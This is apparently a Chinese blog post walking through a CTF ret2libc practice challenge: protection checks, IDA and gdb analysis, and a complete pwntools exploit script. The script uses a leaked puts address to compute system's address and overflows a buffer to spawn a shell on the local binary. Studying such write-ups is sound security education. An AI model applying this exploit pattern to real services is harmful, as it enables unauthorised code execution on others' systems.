train.cs.nctu.edu.tw: ret2libc

来源

本题来自ctf wiki中ret2libc后的一道练习题

检查保护

  • 只开启了 NX 保护

ida查看

  • 跟前面的shellcode的课后练习类似,泄露了/bin/sh地址和puts函数的地址

gdb调试

  • 断点下在main,结合ida中 v4 = esp+1ch 得到偏移 为 1ch

exp

from pwn import *
from LibcSearcher import *

p = process('./ret2libc')
elf = ELF('./ret2libc')

p.recvuntil('The address of \"/bin/sh\" is ')
bin_addr = int(p.recvuntil('\n',drop=True),16)
p.recvuntil('The address of function \"puts\" is 0x')
puts_addr = int(p.recvuntil('\n',drop=True),16)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')

payload = b'a'*(0x1c+4) + p32(sys_addr) + b'A'*4 + p32(bin_addr)
p.sendline(payload)
p.interactive()

运行示例

  • libc选择0、2、3都可以跑得通(根据自己运行的系统来选)(实在不行就一个个试过去)
posted @   cosylan  阅读(42)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示